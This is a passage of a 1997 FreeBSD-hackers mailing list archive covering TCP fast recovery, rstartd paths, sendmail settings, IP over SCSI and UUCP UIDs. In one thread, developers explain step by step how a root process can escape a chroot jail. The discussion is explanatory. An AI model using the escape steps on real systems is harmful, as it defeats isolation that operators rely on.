joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Wed May 28 16:02:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA09788 for hackers-outgoing; Wed, 28 May 1997 16:02:01 -0700 (PDT) Received: from mailhub.Stanford.EDU (mailhub.Stanford.EDU [36.21.0.128]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA09783; Wed, 28 May 1997 16:01:56 -0700 (PDT) Received: from tree1.Stanford.EDU (tree1.Stanford.EDU [36.83.0.36]) by mailhub.Stanford.EDU (8.8.5/8.8.5/L) with SMTP id QAA18688; Wed, 28 May 1997 16:01:52 -0700 (PDT) Newsgroups: comp.protocols.tcp-ip Date: Wed, 28 May 1997 16:01:07 -0700 (PDT) From: "Amr A. Awadallah" To: freebsd-bugs@FreeBSD.org cc: freebsd-hackers@FreeBSD.org, Chetan Rai , Nick W McKeown Subject: FreeBSD: Clarification for the false slow-start "bug". In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk It has been pointed to us, so far by Mark Allman and Vern Paxson, that the suspected bug we reported earlier is actually a feature of TCP! In fact it is part of the fast recovery algorithm as described in RFC 2001 (page 5, second paragraph): "2. Each time another duplicate ACK arrives, increment cwnd by the segment size. This inflates the congestion window for the additional segment that has left the network. Transmit a packet, if allowed by the new value of cwnd. 3. When the next ACK arrives that acknowledges new data, set cwnd to ssthresh (the value set in step 1). This ACK should be the acknowledgment of the retransmission from step 1, one round-trip time after the retransmission. Additionally, this ACK should acknowledge all the intermediate segments sent between the lost packet and the receipt of the first duplicate ACK. This step is congestion avoidance, since TCP is down to one-half the rate it was at when the packet was lost." The reasoning behind this temporarily inflation of cwnd is to be able to send more segments out for each incoming duplicate-ACK (which indicates that another segment made it to the other side). This is necessary because TCPs sliding window is stuck and will not slide until the first non-duplicate ACK comes back. As soon as the first non-duplicate ACK comes back cwnd is set back to ssthresh and the window continues sliding in normal congestion-avoidance mode. Vern Paxson noted that the missing check of cwnd against TCP_MAXWIN appears to be a genuine bug. He also noted that it is not a particularly worrisome one, since (on their system at least) TCP_MAXWIN is 2^30, so it's unlikely to be triggered. We are in the process of setting up a web page to show the plots demonstrating the burst of back-to-back packets that occur when fast-recovery is invoked. This burst of back-to-back packets is what led us to suspect the presence of a bug. The burst can be observed easily from tcpdump traces using Greg Minshall's tracelook program. We provide plots for the performance after our suggested modification and further calrification of the problem. We welcome feedback on the results which were captured from FreeBSD's TCP kernel operating across a transatlantic link. The web page can be reached at: http://www.stanford.edu/~aaa/tcp It is still under development but should be up by 7PM pacific daylight time. Thanks is in order to Vern Paxson and Mark Allman for promptly pointing out our mistake. Please accept our apologies if this mistake led to any confusion. Sincerely, Amr A. Awadallah Chetan Rai From owner-freebsd-hackers Wed May 28 17:30:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA13563 for hackers-outgoing; Wed, 28 May 1997 17:30:49 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA13552; Wed, 28 May 1997 17:30:42 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.5/8.7.3) with SMTP id RAA14311; Wed, 28 May 1997 17:30:39 -0700 (PDT) Date: Wed, 28 May 1997 17:30:39 -0700 (PDT) From: Jaye Mathisen To: "Justin T. Gibbs" cc: scsi@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Boot problems/sd1/I'm sorry, I think ahc is acting funky. In-Reply-To: <199705282231.QAA02632@pluto.plutotech.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In the words of the master: Duh!. On Wed, 28 May 1997, Justin T. Gibbs wrote: > > > >IS this easily fixable? > > > > Hardwire your scsi busses. See scsi.4 for details. > > -- > Justin T. Gibbs > =========================================== > FreeBSD: Turning PCs into workstations > =========================================== > > From owner-freebsd-hackers Wed May 28 19:36:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA18448 for hackers-outgoing; Wed, 28 May 1997 19:36:09 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA18443 for ; Wed, 28 May 1997 19:36:05 -0700 (PDT) Received: from awfulhak.demon.co.uk (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id DAA12948 for ; Thu, 29 May 1997 03:36:01 +0100 (BST) Message-Id: <199705290236.DAA12948@awfulhak.demon.co.uk> X-Mailer: exmh version 1.6.9 8/22/96 To: freebsd-hackers@freebsd.org Subject: rstartd on freefall Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 29 May 1997 03:36:01 +0100 From: Brian Somers Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Any chance of someone with God privs doing a # ln -s /usr/X11R6/bin/rstartd /usr/bin/rstartd on freefall ? TIA. -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Wed May 28 19:49:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA19523 for hackers-outgoing; Wed, 28 May 1997 19:49:52 -0700 (PDT) Received: from friley01.res.iastate.edu (friley01.res.iastate.edu [129.186.78.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA19518 for ; Wed, 28 May 1997 19:49:50 -0700 (PDT) Received: from friley01.res.iastate.edu (localhost [127.0.0.1]) by friley01.res.iastate.edu (8.8.5/8.8.5) with ESMTP id VAA01968 for ; Wed, 28 May 1997 21:49:40 -0500 (CDT) Message-Id: <199705290249.VAA01968@friley01.res.iastate.edu> X-Mailer: exmh version 2.0gamma 1/27/96 To: hackers@freebsd.org Subject: TCP/IP bug? Unnecessary fragmentation... Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 28 May 1997 21:49:39 -0500 From: Chris Csanady Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm not really sure how this occurs, but it does not seem quite right. If one does a write of 125 bytes, it seems to get fragmented into a 100, and 25 byte packet, and sent seperately. At first I thought this might be some weird artifact of TCP_NODELAY, but this does not seem to make a difference. Regardless of the way the data fits in mbufs/clusters, I think that it someone does a write syscall, and it fits within the mtu/mss/window, it should be sent as one piece. Is there any reason why it is not done this way? --Chris Csanady From owner-freebsd-hackers Wed May 28 20:21:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA21051 for hackers-outgoing; Wed, 28 May 1997 20:21:33 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA21046 for ; Wed, 28 May 1997 20:21:29 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id UAA25205; Wed, 28 May 1997 20:21:39 -0700 (PDT) To: Brian Somers cc: freebsd-hackers@FreeBSD.ORG Subject: Re: rstartd on freefall In-reply-to: Your message of "Thu, 29 May 1997 03:36:01 BST." <199705290236.DAA12948@awfulhak.demon.co.uk> Date: Wed, 28 May 1997 20:21:39 -0700 Message-ID: <25200.864876099@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Any chance of someone with God privs doing a > > # ln -s /usr/X11R6/bin/rstartd /usr/bin/rstartd > > on freefall ? TIA. None at all. :-) Seriously, putting arbitrary things into /usr/bin is just evil and every time we've allowed that kind of hackery on freefall, we've regretted it deeply come the next upgrade and suddenly all sorts of things are falling over even though we have a perfectly good OS installation and /usr/local & /usr/X11R6 are resurrected properly. I won't even go into the evils of rsh based (vs ssh based) execution protocols - the /usr/bin issue is enough to kill your request stone dead. :-| Jordan From owner-freebsd-hackers Wed May 28 20:55:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA22143 for hackers-outgoing; Wed, 28 May 1997 20:55:54 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA22137 for ; Wed, 28 May 1997 20:55:50 -0700 (PDT) Received: from awfulhak.demon.co.uk (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id EAA16919; Thu, 29 May 1997 04:53:17 +0100 (BST) Message-Id: <199705290353.EAA16919@awfulhak.demon.co.uk> X-Mailer: exmh version 1.6.9 8/22/96 To: "Jordan K. Hubbard" cc: Brian Somers , freebsd-hackers@FreeBSD.ORG Subject: Re: rstartd on freefall In-reply-to: Your message of "Wed, 28 May 1997 20:21:39 PDT." <25200.864876099@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 29 May 1997 04:53:17 +0100 From: Brian Somers Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Any chance of someone with God privs doing a > > > > # ln -s /usr/X11R6/bin/rstartd /usr/bin/rstartd > > > > on freefall ? TIA. > > None at all. :-) > > Seriously, putting arbitrary things into /usr/bin is just evil and > every time we've allowed that kind of hackery on freefall, we've > regretted it deeply come the next upgrade and suddenly all sorts of > things are falling over even though we have a perfectly good OS > installation and /usr/local & /usr/X11R6 are resurrected properly. > > I won't even go into the evils of rsh based (vs ssh based) execution > protocols - the /usr/bin issue is enough to kill your request stone > dead. :-| So rstart is broken by design. Let me guess. This has been argued before, and the xfree86 guys won't allow an absolute path to rstartd (via say a flag to rstart).... :| How about when login classes make it to freefall ? Having a default PATH that includes /usr/X11R6/bin should do the trick I think. I'll just wait :) Thanks anyway. > Jordan -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Wed May 28 21:06:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA22562 for hackers-outgoing; Wed, 28 May 1997 21:06:58 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id VAA22557 for ; Wed, 28 May 1997 21:06:55 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wWwU6-000283-00; Wed, 28 May 1997 22:06:42 -0600 To: Peter Korsten Subject: Re: Correct way to chroot for shell account users? Cc: Jaye Mathisen , hackers@freebsd.org In-reply-to: Your message of "Mon, 26 May 1997 23:30:13 +0200." <19970526233013.13944@hw.nl> References: <19970526233013.13944@hw.nl> Date: Wed, 28 May 1997 22:06:42 -0600 From: Warner Losh Message-Id: Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <19970526233013.13944@hw.nl> Peter Korsten writes: : I don't think you can build a real shell (like sh or csh) and have : it run safely inside a chroot environment. Someone (as a matter of : fact, the FreeBSD security officer :) ) showed me how to break out : of a chroot environment with a simple 'ln' or something like that. chroot jails are trivial to break out of for any root user that can run a binary. I didn't know you could do it with a simple ln command, however. And fixing the chroot jail is very very very hard. You can get some of the easy holes, but the harder ones are just insane. Heck, OpenBSD hasn't fixed them yet because they are so hard. It goes back to wanting to have a safe ring system of security and chroot is a simple hack for that :-(. Warner From owner-freebsd-hackers Wed May 28 21:39:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA23739 for hackers-outgoing; Wed, 28 May 1997 21:39:47 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA23734 for ; Wed, 28 May 1997 21:39:46 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id VAA25695; Wed, 28 May 1997 21:39:59 -0700 (PDT) To: Brian Somers cc: freebsd-hackers@freebsd.org Subject: Re: rstartd on freefall In-reply-to: Your message of "Thu, 29 May 1997 04:53:17 BST." <199705290353.EAA16919@awfulhak.demon.co.uk> Date: Wed, 28 May 1997 21:39:59 -0700 Message-ID: <25691.864880799@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > So rstart is broken by design. Let me guess. This has been argued > before, and the xfree86 guys won't allow an absolute path to rstartd > (via say a flag to rstart).... :| I don't recall that it was ever discussed. I've certainly never heard of anyone actually using it, at least not until just now. :-) > How about when login classes make it to freefall ? Having a default > PATH that includes /usr/X11R6/bin should do the trick I think. I'll > just wait :) Fair enough. Jordan From owner-freebsd-hackers Wed May 28 21:41:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA23852 for hackers-outgoing; Wed, 28 May 1997 21:41:42 -0700 (PDT) Received: from phoenix.its.rpi.edu (dec@phoenix.its.rpi.edu [128.113.161.45]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA23847 for ; Wed, 28 May 1997 21:41:35 -0700 (PDT) Received: from localhost (dec@localhost) by phoenix.its.rpi.edu (8.8.5/8.8.5) with SMTP id AAA08549; Thu, 29 May 1997 00:41:44 -0400 (EDT) Date: Thu, 29 May 1997 00:41:43 -0400 (EDT) From: "David E. Cross" To: Warner Losh cc: Peter Korsten , Jaye Mathisen , hackers@FreeBSD.ORG Subject: Re: Correct way to chroot for shell account users? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Could someone give me some simple details of how to break out of a chroot 'jail' (without relying on kernfs or raw devices), I have heard of this before, but no one has given me a theory or code of how to do it. (Just curious) David Cross From owner-freebsd-hackers Wed May 28 21:58:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA24518 for hackers-outgoing; Wed, 28 May 1997 21:58:07 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id VAA24508 for ; Wed, 28 May 1997 21:58:03 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wWxHX-0002Fs-00; Wed, 28 May 1997 22:57:47 -0600 To: "David E. Cross" Subject: Re: Correct way to chroot for shell account users? Cc: Peter Korsten , Jaye Mathisen , hackers@freebsd.org In-reply-to: Your message of "Thu, 29 May 1997 00:41:43 EDT." References: Date: Wed, 28 May 1997 22:57:47 -0600 From: Warner Losh Message-Id: Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message "David E. Cross" writes: : Could someone give me some simple details of how to break out of a chroot : 'jail' (without relying on kernfs or raw devices), I have heard of this : before, but no one has given me a theory or code of how to do it. Basically, and this has been posted in many places, you get a handle on something outside the jail. You do this by basically opening '/', mkdir xxx, chroot xxx, then fchdir to the old '/' and then chdir '..'. There are things that can be done in the kernel, but they are either very expensive or very hard to get right (and not break anything) or both. A simple fix is to disallow a chroot when someone has already been chroot'd. This break symetry, but doesn't completely solve the problem because there are many other ways out (that aren't on the top of my head). Hmmm, writing this up, I realized what the ln way was. If you are in a chroot jail, you mkdir xxx; ln xxx/yyy /; chroot xxx; cd yyy; cd .. ; ... and you are out. However, the ln step is no longer allowed since it is hard linking directories together, which is bad for other reasons. Warner From owner-freebsd-hackers Wed May 28 22:24:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA25724 for hackers-outgoing; Wed, 28 May 1997 22:24:51 -0700 (PDT) Received: from argus.nuke.net (pm3-p15.tfs.net [206.154.183.207]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA25714 for ; Wed, 28 May 1997 22:24:46 -0700 (PDT) Received: (from jbryant@localhost) by argus.nuke.net (8.8.5/8.8.5) id AAA00286 for freebsd-hackers@freebsd.org; Thu, 29 May 1997 00:24:38 -0500 (CDT) From: Jim Bryant Message-Id: <199705290524.AAA00286@argus.nuke.net> Subject: vidcontrol under 2.2.2 To: freebsd-hackers@freebsd.org Date: Thu, 29 May 1997 00:24:35 -0500 (CDT) Reply-To: jbryant@tfs.net X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk okay... got 2.2.2 in... vidcontrol says "device not configured" when attempting to change console dimensions.... btw: what happened to lsdev? jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" jbryant@tfs.net - KC5VDJ 2M, 70cm, KPC-3+ - kc5vdj@wv0t.#neks.ks.usa.noam From owner-freebsd-hackers Wed May 28 22:36:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA26000 for hackers-outgoing; Wed, 28 May 1997 22:36:35 -0700 (PDT) Received: from lab321.ru (anonymous1.omsk.net.ru [194.226.32.34]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA25989 for ; Wed, 28 May 1997 22:36:27 -0700 (PDT) Received: from localhost (localhost.l321.omsk.net.ru [127.0.0.1]) by lab321.ru (8.8.5-MVC-230497/8.8.5) with SMTP id MAA20345; Thu, 29 May 1997 12:36:53 +0700 (OSD) Date: Thu, 29 May 1997 12:36:53 +0700 (OSD) From: Eugeny Kuzakov To: Alex Povolotsky cc: hackers@FreeBSD.ORG Subject: Re: 8 bit autoconvert In-Reply-To: <199705281536.TAA15471@asteroid.intermedia.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 28 May 1997, Alex Povolotsky wrote: > Hello! > > I've tried to stop sendmail from autoconverting 8-bit to Base64. I only was > able to disable BOTH 8-bit to MIME and MIME to 8-bit autoconvert, but I need > to have MIME to 8 bit. I can of course just hack sendmail source, but I > dislike that. It's simple. > > O EightBitMode=pass8 Also you need just add 8 and 9 to your mailer falgs. I have patched by me m4 configs for it. Best wishes, Eugeny Kuzakov Laboratory 321 ( Omsk, Russia ) kev@lab321.ru From owner-freebsd-hackers Wed May 28 22:53:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA26506 for hackers-outgoing; Wed, 28 May 1997 22:53:45 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA26501 for ; Wed, 28 May 1997 22:53:41 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id BAA06237; Thu, 29 May 1997 01:52:52 -0400 Date: Thu, 29 May 1997 01:52:50 -0400 (EDT) From: Ben Black To: hackers@freebsd.org Subject: IP over SCSI Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk has anyone thought about this for FreeBSD? http://www.cis.ohio-state.edu/htbin/rfc/rfc2143.html b3n From owner-freebsd-hackers Wed May 28 23:07:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA27225 for hackers-outgoing; Wed, 28 May 1997 23:07:14 -0700 (PDT) Received: from rf900.physics.usyd.edu.au (rf900.physics.usyd.edu.au [129.78.129.109]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA27199 for ; Wed, 28 May 1997 23:07:08 -0700 (PDT) Received: (from dawes@localhost) by rf900.physics.usyd.edu.au (8.8.5/8.8.2) id QAA12815; Thu, 29 May 1997 16:06:58 +1000 (EST) Message-ID: <19970529160658.41587@rf900.physics.usyd.edu.au> Date: Thu, 29 May 1997 16:06:58 +1000 From: David Dawes To: freebsd-hackers@FreeBSD.ORG Subject: Re: rstartd on freefall References: <199705290353.EAA16919@awfulhak.demon.co.uk> <25691.864880799@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: <25691.864880799@time.cdrom.com>; from Jordan K. Hubbard on Wed, May 28, 1997 at 09:39:59PM -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, May 28, 1997 at 09:39:59PM -0700, Jordan K. Hubbard wrote: >> So rstart is broken by design. Let me guess. This has been argued >> before, and the xfree86 guys won't allow an absolute path to rstartd >> (via say a flag to rstart).... :| > >I don't recall that it was ever discussed. I've certainly never heard >of anyone actually using it, at least not until just now. :-) Right. When I saw the original message, my first reaction was "Hey, there IS actually someone using rstart!". It was missing from the last few binary dists we (XFree86) produced, and we didn't even get one complaint about it. It was missing because it gets installed in /usr/bin by default. From 3.3 on, it will be installed in /usr/X11R6/bin, and the postinst script will give people the option of installing a link to it in /usr/bin. My next reaction was why not put /usr/X11R6/bin in the path in your shell's rc file? As to providing rstart with a way of running rstartd by its absolute path, nobody has suggested it before. If you think that's a good thing to do, send us a patch implementing it (to XFree86@XFree86.org). David From owner-freebsd-hackers Wed May 28 23:36:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA28478 for hackers-outgoing; Wed, 28 May 1997 23:36:18 -0700 (PDT) Received: from argus.nuke.net (node15.tfs.net [207.2.220.15]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA28472 for ; Wed, 28 May 1997 23:36:15 -0700 (PDT) Received: (from jbryant@localhost) by argus.nuke.net (8.8.5/8.8.5) id BAA00758; Thu, 29 May 1997 01:36:03 -0500 (CDT) From: Jim Bryant Message-Id: <199705290636.BAA00758@argus.nuke.net> Subject: Re: IP over SCSI To: black@zen.cypher.net (Ben Black) Date: Thu, 29 May 1997 01:36:02 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-To: jbryant@tfs.net In-Reply-To: from "Ben Black" at May 29, 97 01:52:50 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > has anyone thought about this for FreeBSD? > > http://www.cis.ohio-state.edu/htbin/rfc/rfc2143.html why? Only possible use would be SNMP, and that can be achieved much easier by the host... I want to see the TELNET SUBLIMINAL OPTION implemented... jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" jbryant@tfs.net - KC5VDJ 2M, 70cm, KPC-3+ - kc5vdj@wv0t.#neks.ks.usa.noam From owner-freebsd-hackers Wed May 28 23:39:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA28553 for hackers-outgoing; Wed, 28 May 1997 23:39:06 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA28546 for ; Wed, 28 May 1997 23:39:04 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id CAA07061; Thu, 29 May 1997 02:38:20 -0400 Date: Thu, 29 May 1997 02:38:18 -0400 (EDT) From: Ben Black To: jbryant@tfs.net cc: hackers@freebsd.org Subject: Re: IP over SCSI In-Reply-To: <199705290636.BAA00758@argus.nuke.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk the only possible use for several hundred megabits per second of LAN/clustering bandwidth is SNMP? do you have OC-192 to you kitchen appliances or something? On Thu, 29 May 1997, Jim Bryant wrote: > In reply: > > has anyone thought about this for FreeBSD? > > > > http://www.cis.ohio-state.edu/htbin/rfc/rfc2143.html > > why? Only possible use would be SNMP, and that can be achieved much > easier by the host... > > I want to see the TELNET SUBLIMINAL OPTION implemented... > > jim > -- > All opinions expressed are mine, if you | "I will not be pushed, stamped, > think otherwise, then go jump into turbid | briefed, debriefed, indexed, or > radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" > jbryant@tfs.net - KC5VDJ 2M, 70cm, KPC-3+ - kc5vdj@wv0t.#neks.ks.usa.noam > From owner-freebsd-hackers Wed May 28 23:51:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA29257 for hackers-outgoing; Wed, 28 May 1997 23:51:27 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id XAA29248 for ; Wed, 28 May 1997 23:51:22 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA05913 for freebsd-hackers@freefall.FreeBSD.org; Thu, 29 May 1997 08:51:20 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id IAA03202; Thu, 29 May 1997 08:36:55 +0200 (MET DST) Message-ID: <19970529083654.WR06258@uriah.heep.sax.de> Date: Thu, 29 May 1997 08:36:54 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@freefall.FreeBSD.org (FreeBSD hackers) Subject: Re: uucp uid's References: <199705282100.OAA04001@seagull.rtd.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199705282100.OAA04001@seagull.rtd.com>; from Don Yuniskis on May 28, 1997 14:00:00 -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Don Yuniskis wrote: > A bit of confusion on my part, perhaps... There's too much confusion about UUCP UIDs on any Unix i've seen so far. :) > Shouldn't the uucp uid be that of the uucp *administrator*? I've seen both. It's a pain in the butt on every system that you first gotta look who's who. > (i.e. the owner of the uucp files, processes, etc.). And, All the UIDs should be identical however, i.e. the UUCP administrator has the same UID and group as all the UUCP dialin accounts. I've never seen a system that doesn't handle it this way. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Wed May 28 23:51:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA29318 for hackers-outgoing; Wed, 28 May 1997 23:51:44 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id XAA29292 for ; Wed, 28 May 1997 23:51:37 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA05918 for freebsd-hackers@FreeBSD.ORG; Thu, 29 May 1997 08:51:36 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id IAA03261; Thu, 29 May 1997 08:50:30 +0200 (MET DST) Message-ID: <19970529085030.UG61779@uriah.heep.sax.de> Date: Thu, 29 May 1997 08:50:30 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: rstartd on freefall References: <199705290353.EAA16919@awfulhak.demon.co.uk> <25691.864880799@time.cdrom.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <25691.864880799@time.cdrom.com>; from Jordan K. Hubbard on May 28, 1997 21:39:59 -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Jordan K. Hubbard wrote: > > So rstart is broken by design. Let me guess. This has been argued > > before, and the xfree86 guys won't allow an absolute path to rstartd > > (via say a flag to rstart).... :| > > I don't recall that it was ever discussed. I've certainly never heard > of anyone actually using it, at least not until just now. :-) It has recently been discussed on the XFree86 list. Btw., Brian, you should actually complain at the inventor of your shell. :-) If he had made a provision for a .xxxrc file as all nice shells do (csh, tcsh, bash, zsh -- no, no discussions, please :), it would be simple for you to extend your $PATH on startup. Mr. Korn decided to invent this crappy idea of $ENV, which has now even benn half-withdrawn (no $ENV sourcing for non-interactive shells). It's IMHO a dead-born child, and i regret we gotta support this braindeadness at all, since Posix blindly blessed so many of the misfeatures of the Korn shell. I wonder whether we should allow for a .shrc file, at least as a compile-time option. Of course, nothing to be added to Jordan's comment regarding ssh vs. rsh. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu May 29 00:07:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA00187 for hackers-outgoing; Thu, 29 May 1997 00:07:29 -0700 (PDT) Received: from TomQNX.tomqnx.com (ottline18.tele.gc.ca [198.103.21.18]) by hub.freebsd.org 